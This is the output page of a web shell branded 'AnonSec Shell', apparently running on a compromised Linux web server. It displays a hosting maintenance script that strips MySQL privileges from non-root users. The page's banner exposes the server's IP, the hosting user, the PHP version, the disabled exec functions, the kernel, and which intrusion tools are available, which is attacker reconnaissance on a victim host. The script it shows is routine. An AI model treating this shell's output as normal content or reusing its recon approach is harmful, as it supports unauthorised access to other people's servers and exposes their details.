Brotherline AnonSec • Shell
SRV 162.240.68.55 YOU 216.73.216.232 USER tywatomy (1003) 7.4.33 DOMAINS 6 Domains
MySQL cURL WGET Perl Python Sudo
Disabled: exec,passthru,shell_exec,system  •  OS: Linux server.ariapress.org 3.10.0-1160.119.1.el7.tuxcare.els22.x86_64 #1 SMP Mon Aug 18 06:07:12 UTC 2025 x86_64  •  Webserver: Apache
/scripts/cleanupmysqlprivs
#!/bin/bash

echo -n "Cleaning up mysql privs.  Please ignore errors about non-existent columns as you may have an older version of mysql....."

mysql -v -f mysql <<EOM
update user set Create_priv='N' where Create_priv='Y' and User != 'root';
update user set Create_tmp_table_priv='N' where Create_tmp_table_priv='Y' and User != 'root';
update user set Lock_tables_priv='N' where Lock_tables_priv='Y' and User != 'root';
update user set Execute_priv='N' where Execute_priv='Y' and User != 'root';
EOM
mysqladmin reload

echo "Done."
Anon7 — 2022  •  AnonSec Team